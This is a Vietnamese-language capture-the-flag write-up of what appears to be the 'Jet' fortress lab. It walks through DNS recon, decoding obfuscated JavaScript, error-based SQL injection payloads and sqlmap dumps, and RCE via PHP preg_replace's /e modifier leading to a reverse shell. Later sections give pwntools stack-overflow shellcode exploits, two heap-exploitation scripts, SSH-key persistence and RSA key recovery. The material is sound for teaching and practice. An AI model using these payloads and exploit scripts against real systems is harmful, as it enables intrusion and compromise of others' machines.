Jet
first cool chain have web pentest and pwn skills
1. Connect
Connect vpn fortesses và view web page ở port 80 có thể có được flag đầu tiên sanity check

2. Digging in...
Scan Port service với Rustscan ( cho nhanh ) hoặc nmap , và scan qua directory với default wordlist bằng dirsearch
-> result service scan :

-> result scan cũng trả về status code 403

-> ở đây thường 1 số case sẽ truy xuất được domain name server -> add vào hosts để truy cập web page source -> có thể sử dụng dig
tool để làm việc này , truy xuất DNS system
dig @10.13.37.10 -x 10.13.37.10
; <<>> DiG 9.20.2-1-Debian <<>> @10.13.37.10 -x 10.13.37.10
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39163
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: f00ca4df37dbdd02010000006724f4c27b2a0a035962c1f4 (good)
;; QUESTION SECTION:
;10.37.13.10.in-addr.arpa. IN PTR
;; ANSWER SECTION:
10.37.13.10.in-addr.arpa. 604800 IN PTR www.securewebinc.jet.
;; Query time: 315 msec
;; SERVER: 10.13.37.10#53(10.13.37.10) (UDP)
;; WHEN: Fri Nov 01 11:33:21 EDT 2024
;; MSG SIZE rcvd: 115
-> tìm được tên miền là www.securewebinc.jet.
-> add lại vào host và view lại web page
sudo echo "10.13.37.10 www.securewebinc.jet" >> /etc/hosts
tìm được flag thứ 2 ở cuối trang sau khi truy cập

3. Going Deeper
view source trang web vừa rồi -> check có thể thấy file secure.js khá đáng nghi


eval(String.fromCharCode(102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,41,10,123,10,32,32,32,32,36,46,97,106,97,120,40,123,117,114,108,58,32,34,47,100,105,114,98,95,115,97,102,101,95,100,105,114,95,114,102,57,69,109,99,69,73,120,47,97,100,109,105,110,47,115,116,97,116,115,46,112,104,112,34,44,10,10,32,32,32,32,32,32,32,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,36,40,39,35,97,116,116,97,99,107,115,39,41,46,104,116,109,108,40,114,101,115,117,108,116,41,10,32,32,32,32,125,44,10,32,32,32,32,101,114,114,111,114,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,114,101,115,117,108,116,41,59,10,32,32,32,32,125,125,41,59,10,125,10,103,101,116,83,116,97,116,115,40,41,59,10,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,32,103,101,116,83,116,97,116,115,40,41,59,32,125,44,32,49,48,48,48,48,41,59));
trước tiên decode đoạn char trong hàm String.fromCharCode để xem nó hiển thị gì :
decoded_string = ''.join([chr(c) for c in [102,117,110,99,116,105,111,110,32,103,101,116,83,116,97,116,115,40,41,10,123,10,32,32,32,32,36,46,97,106,97,120,40,123,117,114,108,58,32,34,47,100,105,114,98,95,115,97,102,101,95,100,105,114,95,114,102,57,69,109,99,69,73,120,47,97,100,109,105,110,47,115,116,97,116,115,46,112,104,112,34,44,10,10,32,32,32,32,32,32,32,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,36,40,39,35,97,116,116,97,99,107,115,39,41,46,104,116,109,108,40,114,101,115,117,108,116,41,10,32,32,32,32,125,44,10,32,32,32,32,101,114,114,111,114,58,32,102,117,110,99,116,105,111,110,40,114,101,115,117,108,116,41,123,10,32,32,32,32,32,32,32,32,32,99,111,110,115,111,108,101,46,108,111,103,40,114,101,115,117,108,116,41,59,10,32,32,32,32,125,125,41,59,10,125,10,103,101,116,83,116,97,116,115,40,41,59,10,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,32,103,101,116,83,116,97,116,115,40,41,59,32,125,44,32,49,48,48,48,48,41,59]])
decoded_string
kết quả :
function getStats()
{
$.ajax({url: "/dirb_safe_dir_rf9EmcEIx/admin/stats.php",
success: function(result){
$('#attacks').html(result)
},
error: function(result){
console.log(result);
}});
}
getStats();
setInterval(function(){ getStats(); }, 10000);
-> có link truy cập đến 1 file có 1 thông số có thể là về function nào đó :

-> khi back về /admin
-> web trỏ sang trang login

View source trang login có thể thấy flag thứ 3

4. Bypassing Authentication
-> sẽ cần bypass authen ở trang login để đi tiếp
-> test SQLi
time base test có thể nhận ra bị delay theo thời gian ta query

manual test :
-> lấy thông tin database :
' or (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -


-> truy xuất thông tin database
' or (select 1 from(select count(*),concat((select mid((ifnull(cast(username as nchar),0x20)),1,54) from users limit 0,1),0x3a,(select mid((ifnull(cast(password as nchar),0x20)),1,54) from users limit 0,1),0x20,floor(rand(0)*2))x from information_schema.plugins group by x)a)-- -

-> có được hash password và thông tin username admin
-> sqlmap query
-> save request login từ burpsuite và chạy quét qua file save


-> result

-> tìm thấy database jetadmin
-> truy cập data trong đây
sqlmap -r login.req --batch -D jetadmin -T users -dump
-> tìm được password được lưu dưới hash -> crack với john và có được password admin

sau khi login có thể tìm thấy flag thứ 4 ( giao diện khá giống clone từ AdminLTE )

5. Command
Kéo xuống dưới có thể thấy phần send email -> test 1 vài lỗi ở đây , vì mục tiêu tiếp theo là gaining acesss nên ta sẽ test các lỗi có thể trigger os command và có được foothold trước
-> cụ thể test OS command

request post đi khá đáng chú ý về cách handle message :

swearwords[/fuck/i]=make love
&swearwords[/shit/i]=poop&swearwords[/ass/i]=behind
&swearwords[/dick/i]=penis&swearwords[/whore/i]=escort
&swearwords[/asshole/i]=bad person&to=meomeo@gmail.com
&subject=math&message=<p>ls<
có thể thấy đây là output của hàm preg_replace trong php

-> từ đây tiếp tục search thêm về 1 số exploit liên quan đến cách xử lí của hàm này
Từ bài blog -> có thể thấy khi sử dụng modifier e
trong PHP từ hàm preg_replace()
, cho phép PHP thực thi bất kỳ mã nào được thay thế trong chuỗi.
-> Điều này có thể dẫn đến lỗ hổng thực thi mã từ xa (Remote Code Execution - RCE) nếu không xử lý đầu vào một cách cẩn thận.
Ví dụ :
preg_replace('/pattern/e', 'replacement', $input);
Khi sử dụng e
modifier, PHP sẽ coi replacement
như một biểu thức và thực thi nó thay vì chỉ đơn thuần thay thế chuỗi.
Nếu replacement
chứa mã PHP từ đầu vào của người dùng, mã này sẽ được thực thi. Đây là một trong những rủi ro bảo mật phổ biến khi sử dụng preg_replace
với e
.
Modifier i
và e
trong biểu thức chính quy (preg_replace
) của PHP có sự khác biệt cơ bản về chức năng và cách hoạt động:
Vì sao lại vậy ->
Modifier
i
:i
là viết tắt của case-insensitive, tức là không phân biệt chữ hoa và chữ thường.Khi sử dụng
i
, biểu thức chính quy sẽ tìm kiếm chuỗi mà không quan tâm đến chữ hoa hay chữ thường. Ví dụ:/test/i
sẽ khớp với cả "Test", "TEST", và "test".i
chỉ ảnh hưởng đến cách khớp chuỗi và không hề can thiệp vào việc thực thi mã hoặc đánh giá biểu thức. Do đó, nó không có rủi ro bảo mật trực tiếp nào.
Modifier
e
:e
là viết tắt của evaluate (đánh giá), cho phép PHP thực thi mã PHP trong biểu thức thay thế khi khớp chuỗi.Khi sử dụng
e
,preg_replace
sẽ xem nội dung của phần thay thế như một đoạn mã PHP và thực thi nó.Điều này có nghĩa là bất kỳ mã PHP nào trong phần thay thế đều sẽ được thực thi
-> tận dụng điều này -> modify i -> e trong request gửi đi và test command execute

-> trigger thành công -> chèn command để send rev-shell để lấy acess vào server
-> cần thử 1 vài shell mới trigger và có connect thành công ( test 3-4 cái shell sh khác nhau )

6. Overflown
Upgrade cái shell lên để nhìn cho dễ hơn :
python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo
-> sau đó ctrl + Z
connect lại :
stty raw -echo; fg

Xác định version system linux hiện tại và tìm suid :


Link from exploit.db report : https://www.exploit-db.com/shellcodes/46907
máy target :
nc IP post < /home/leak
máy local
nc -lnvp port > leak

check sec bảo vệ file :

Không bật
stack canary
, có thể buffer overflowKhông bật
Full RELRO
, khiến bảng GOT dễ bị ghi đè.Không có
NX
vàPIE
, cho phép thực thi mã trên stack và vị trí mã chương trình cố định.Có các phân đoạn
RWX
, tạo điều kiện cho việc thực thi mã độc.
view file với ida

Biến
s
được khai báo với kích thước 64 byte và được tạo trong main -> lưu trong stackHàm
fgets
dùng để đọc đầu vào từstdin
và lưu nó vào bufferstring
.->
fgets
ở đây đọc tối đa 512 byte, trong khis
chỉ có 64 byte -> buffer overflow stackprintf
in địa chỉ của biếns
có thể chèn shellcode qua biến
s
(NX ko bật -> có thể exec code)và ghi đèreturn address
về shellcode address vừa chèn và lấy được shell
calculate byte cần ghi đè :

offset
là 72. Đây là số byte cần thiết để ghi đè return address (RIP
).
-> chèn : len(shellcode + somebyte ) = 72 -> + address(shellcode=address leak)
cần mở port thêm trên server -> viết script attack connect qua port này
mở port với socat
socat TCP-LISTEN:8955,reuseaddr,fork EXEC:/home/leak &
script :
#!/usr/bin/python3
from pwn import remote, p64
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
offset = 72
junk = b"A" * (offset - len(shellcode))
shell = remote("10.13.37.10", 8955)
shell.recvuntil(b"Oops, I'm leaking! ")
ret = p64(int(shell.recvuntil(b"\n"),16))
payload = shellcode + junk + ret
shell.sendlineafter(b"> ", payload)
shell.interactive()
-> shellcode run /bin/sh
script attack
#!/usr/bin/python3
from pwn import remote, p64
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
offset = 72
junk = b"A" * (offset - len(shellcode))
shell = remote("10.13.37.10", 1234)
shell.recvuntil(b"Oops, I'm leaking! ")
ret = p64(int(shell.recvuntil(b"\n"),16))
payload = shellcode + junk + ret
shell.sendlineafter(b"> ", payload)
shell.interactive()
-> truy cập được user alex và có flag thứ 6
note : trên lí thuyết là sẽ như thế và có thể thấy 1 số bài writeup sẽ làm kiểu như này nhưng mà hiện tại mình giải bài này thì mở port kiểu gì cũng không connect được nên phải dùng cách khác
Ở đây check server cài pwntools cho python2.7 -> sửa script attach vào file
/home/leak
và curl file sang target machine -> chạy trực tiếp trên server
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
p = process('/home/leak')
p.recvuntil("Oops, I'm leaking! ")
leak = int(p.recvuntil("\n"), 16)
log.info('Libc address: {}'.format(hex(leak)))
p.recvuntil("> ")
leak2 = p64(leak)
payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload += "A" * (72 - len(payload))
payload += leak2
p.sendline(payload)
p.interactive()
-> di chuyển file : mở python server ở máy attack sau đó ở máy target curl file về là được, tên file đặt tuỳ ý
-> script sẽ chạy với python2


Nên tạo ssh key để duy trì connect vì sẽ rất nhanh mất connect đến alex shell
-> gen 1 key trên attack machine , copy pub key vào .ssh/authorized_keys

7. Secret Message
sử dụng scp -> chuyển hết file về để dễ phân tích
scp -i ssh_private_key -r alex@10.13.37.10:"*" .

sẽ cần decrypt message -> có thể có password file zip để mở file :

file crypt.py :
import binascii
def makeList(stringVal):
list = []
for c in stringVal:
list.append(c)
return list
def superCrypt(stringVal,keyVal):
keyPos = 0
key = makeList(keyVal)
xored = []
for c in stringVal:
xored.append(binascii.hexlify(chr(ord(c) ^ ord(keyVal[keyPos]))))
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
hexVal = ''
for n in xored:
hexVal += n
return hexVal
with open('message.txt') as f:
content = f.read()
key = sys.argv[1]
with open('encrypted.txt', 'w') as f:
output = f.write(binascii.unhexlify(superCrypt(content, key)))
Xor đơn giản không có gì đáng chú ý
bruteforce thôi ( có thể viết script ) -> cần key , tìm key
👍 bruteforce với xortool :


-> tạo 1 cái script với cả plain text char đằng sau
và crack file zip với john (zip2john để lấy hash của file zip trước sau đó crack với wordlist là các key vừa gen )
còn ở đây mình đã crack rồi

-> decrypt với key có được :
#!/usr/bin/python3
import binascii
def makeList(stringVal):
return [c for c in stringVal]
def decrypt(hexVal, keyVal):
keyPos = 0
key = makeList(keyVal)
xored = b''
for i in range(0, len(hexVal), 2):
byte = bytes.fromhex(hexVal[i:i+2])[0]
xored += bytes([byte ^ ord(key[keyPos])])
if keyPos == len(key) - 1:
keyPos = 0
else:
keyPos += 1
return xored.decode()
with open('encrypted.txt', 'rb') as f:
content = f.read()
message = decrypt(content.hex(), 'key_crack_here') # thay bằng key là được
print(message)

8. Elasticity
service -> host detect and query của bên soc -> check port listen service

forward port về thôi ( 9300 , 9200 , forward cả về )
ssh -i my_ssh_key -L 8080:localhost:9300 alex@10.13.37.10
cần kết nối đến một cluster của Elasticsearch.
Cluster của Elasticsearch: Elasticsearch là một hệ thống tìm kiếm và phân tích phân tán. Một cluster là tập hợp các nút (nodes) của Elasticsearch làm việc cùng nhau.
Dùng java hoặc python viết script connect lên đều được
dùng java :
import java.net.InetSocketAddress;
import java.net.InetAddress;
import java.util.Map;
import org.elasticsearch.action.admin.indices.exists.indices.IndicesExistsResponse;
import org.elasticsearch.action.admin.cluster.health.ClusterHealthResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexResponse;
import org.elasticsearch.action.admin.indices.get.GetIndexRequest;
import org.elasticsearch.transport.client.PreBuiltTransportClient;
import org.elasticsearch.cluster.health.ClusterIndexHealth;
import org.elasticsearch.common.transport.TransportAddress;
import org.elasticsearch.client.transport.TransportClient;
import org.elasticsearch.action.search.SearchResponse;
import org.elasticsearch.client.IndicesAdminClient;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.search.SearchHit;
import org.elasticsearch.client.Client;
public class Program {
public static void main(String[] args) {
byte[] ipAddr = new byte[]{10, 13, 37, 10};
Client client = new PreBuiltTransportClient(Settings.EMPTY)
.addTransportAddress(new TransportAddress(new InetSocketAddress("10.13.37.10", 8080)));
System.out.println(client.toString());
ClusterHealthResponse healths = client.admin().cluster().prepareHealth().get();
for (ClusterIndexHealth health : healths.getIndices().values()) {
String index = health.getIndex();
System.out.println(index);
}
SearchResponse searchResponse = client.prepareSearch("test").execute().actionGet();
SearchHit[] results = searchResponse.getHits().getHits();
for(SearchHit hit : results){
String sourceAsString = hit.getSourceAsString();
System.out.println(sourceAsString);
}
client.close();
}
}
javac -cp "/usr/share/elasticsearch/lib/*" program.java
complie chương tình trên và sử dụng search
java -cp ".:/usr/share/elasticsearch/lib/*" Program | jq
-> truy xuất dc data và có flag thứ 8
9. Member Manager
Heap -> có thể tham khảo từ bài sau , cụ thể có thể mình sẽ viêt sau , sẽ khá là dài
script attack :
#!/usr/bin/python3
from pwn import remote, p64, p16
shell = remote("10.13.37.10", 5555)
def add(size, data):
shell.sendlineafter(b"6. exit", b"1")
shell.sendlineafter(b"size:", str(size).encode())
shell.sendlineafter(b"username:", data)
def edit(idx, mode, data):
shell.sendline(b"2")
shell.sendlineafter(b"2. insecure edit", str(mode).encode())
shell.sendlineafter(b"index:", str(idx).encode())
shell.sendlineafter(b"username:", data)
shell.recvuntil(b"6. exit")
def ban(idx):
shell.sendline(b"3")
shell.sendlineafter(b"index:", str(idx).encode())
shell.recvuntil(b"6. exit")
def change(data):
shell.sendline(b"4")
shell.sendlineafter(b"name:", data)
shell.recvuntil(b"6. exit")
shell.sendlineafter(b"name:", b"A" * 8)
add(0x88, b"A" * 0x88)
add(0x100, b"A" * 8)
payload = b"A" * 0x160
payload += p64(0)
payload += p64(0x21)
add(0x500, payload)
add(0x88, b"A" * 8)
shell.recv()
ban(2)
payload = b""
payload += b"A" * 0x88
payload += p16(0x281)
edit(0, 2, payload)
shell.recv()
shell.sendline(b"5")
shell.recvline()
leak_read = int(shell.recvline()[:-1], 10)
libc_base = leak_read - 0xf7250
payload = b""
payload += p64(0) * 3
payload += p64(libc_base + 0x45390)
change(payload)
payload = b""
payload += b"A" * 256
payload += b"/bin/sh\x00"
payload += p64(0x61)
payload += p64(0)
payload += p64(libc_base + 0x3c5520 - 0x10)
payload += p64(2)
payload += p64(3)
payload += p64(0) * 21
payload += p64(0x6020a0)
edit(1, 1, payload)
shell.sendline(b"1")
shell.sendlineafter(b"size:", str(0x80).encode())
shell.recvuntil(b"[vsyscall]")
shell.recvline()
shell.interactive()
connect exploit và có được flag thứ 9

10. More Secrets
từ member manager -> có thông tin của user tony và liên quan đến crypto
👍 mình hơi lười nên mình sẽ để script ở đây, ko có gì nhiều chủ yếu là rsa :
các file cung cấp :
├── key.bin.enc
├── keys
│ └── public.crt
└── secret.enc
#!/usr/bin/python3
from Crypto.PublicKey import RSA
file = open("public.crt", "r")
key = RSA.importKey(file.read())
e = key.e
n = key.n
p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083
q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199
m = n - (p + q - 1)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise
else:
return x % m
d = modinv(e, m)
key = RSA.construct((n, e, d, p, q))
print(key.exportKey().decode())
run và có được key sau đó decrypt với key đã có
openssl pkeyutl -decrypt -inkey private.crt -in key.bin.enc -out file
openssl aes-256-cbc -d -in secret.enc -pass file:file
và có được flag thứ 10
11. Memo
somewher on CTF i found this , từ 1 người bạn đã giúp tôi phần pwn này
#!/usr/bin/python3
from pwn import remote, p64, u64
shell = remote("10.13.37.10", 7777)
def create_memo(data, answer, more):
shell.sendlineafter(b"> ", b"1")
shell.sendlineafter(b"Data: ", data)
if answer[:3] == "yes":
shell.sendafter(b"[yes/no] ", answer.encode())
else:
shell.sendafter(b"[yes/no] ", answer)
shell.sendafter(b"Data: ", more)
def show_memo():
shell.sendlineafter(b"> ", b"2")
shell.recvuntil(b"Data: ")
def delete_memo():
shell.sendlineafter(b"> ", b"3")
def tap_out(answer):
shell.sendlineafter(b"> ", b"4")
shell.sendafter(b"[yes/no] ", answer)
create_memo(b"A" * 0x1f, b"no", b"A" * 0x1f)
show_memo()
shell.recv(0x20)
stack_chunk = u64(shell.recv(6) + b"\x00" * 2) - 0x110
delete_memo()
create_memo(b"A" * 0x28, b"no", b"A" * 0x28)
show_memo()
shell.recvuntil(b"A" * 0x28)
shell.recv(1)
canary = u64(b"\x00" + shell.recv(7))
create_memo(b"A" * 0x18, b"no", b"A" * 0x18)
create_memo(b"A" * 0x18, b"no", b"A" * 0x17)
show_memo()
shell.recvuntil(b"A" * 0x18)
shell.recv(1)
heap = u64(b"\x00" + shell.recv(3).ljust(7, b"\x00"))
create_memo(b"A" * 0x18, b"no", b"A" * 0x8 + p64(0x91) + b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8 + p64(0x31))
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
tap_out(b"no\x00" + b"A" * 21 + p64(heap + 0xe0))
delete_memo()
tap_out(b"no\x00" + b"A" * 21 + p64(heap + 0xc0))
delete_memo()
show_memo()
leak = u64(shell.recv(6).ljust(8, b"\x00"))
libc = leak - 0x3c4b78
create_memo(b"A" * 0x28, b"no", b"A" * 0x10 + p64(0x0) + p64(0x21) + p64(stack_chunk))
create_memo(p64(leak) * (0x28 // 8), b"no", b"A" * 0x28)
create_memo(b"A" * 0x8 + p64(0x21) + p64(stack_chunk + 0x18) + b"A" * 0x8 + p64(0x21), "yes", b"")
create_memo(b"A" * 0x8, b"no", p64(canary) + b"A" * 0x8 + p64(libc + 0x45216))
tap_out(b"yes\x00")
shell.recvline()
shell.interactive()

Last updated